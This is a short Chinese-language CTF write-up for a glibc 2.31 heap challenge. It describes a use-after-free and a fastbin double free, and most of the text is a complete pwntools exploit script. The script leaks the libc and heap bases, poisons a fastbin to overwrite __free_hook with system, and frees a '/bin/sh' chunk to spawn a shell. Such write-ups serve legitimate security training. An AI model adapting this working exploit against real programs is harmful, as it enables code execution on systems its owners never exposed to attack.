普通菜单堆题
free函数下存在uaf
因为无编辑功能,所以无法绕过被释放堆块的key字段,要达成doublefree可以将申请多个堆块释放到fastbin上面构造成A->B->A完成利用
成功doublefree
接下来就很简单了2.31 几个常用hook还在还可以利用
解题脚本
from pwn import *
context.arch = 'amd64'
def gd():
gdb.attach(p)
pause()
def add(idx,size,data):
p.recvuntil(b'>')
p.sendline(b'1')
p.recvuntil(b'Index: ')
p.sendline(str(idx).encode())
p.recvuntil(b'Size: ')
p.sendline(str(size).encode())
p.recvuntil(b'Content: ')
p.send(data)
def free(idx):
p.recvuntil(b'>')
p.sendline(b'2')
p.recvuntil(b'Index: ')
p.sendline(str(idx).encode())
def show(idx):
p.recvuntil(b'>')
p.sendline(b'3')
p.recvuntil(b'Index: ')
p.sendline(str(idx).encode())
p = process("./pwn")
#p = remote('node5.anna.nssctf.cn',28438)
libc = ELF("./libc-2.31.so")
for i in range(9):
add(i,0x80,b'1')
for i in range(8):
free(i)
show(7)
libc_base = u64(p.recv(6).ljust(8,b'\x00')) - 0x1ecb80 - 96
print(hex(libc_base))
add(0,0x20,b'aaaaaaaa')
add(1,0x20,b'aaaaaaaa')
free(0)
free(1)
show(1)
heap_base = u64(p.recv(6).ljust(8,b'\x00')) - 0x3f0
print(hex(heap_base))
for i in range(2,11):
add(i,0x20,b'a' * 0x10)
for i in range(2,11):
free(i)
free(9)
for i in range(7):
add(0,0x20,b'a')
free_hook = libc_base + libc.sym['__free_hook']
sys_addr = libc_base + libc.sym['system']
add(1,0x20,p64(free_hook))
add(2,0x20,p64(sys_addr))
add(2,0x20,p64(sys_addr))
add(2,0x20,p64(sys_addr))
add(3,0x40,b'/bin/sh\x00')
free(3)
#gd()
p.interactive()
成功getshell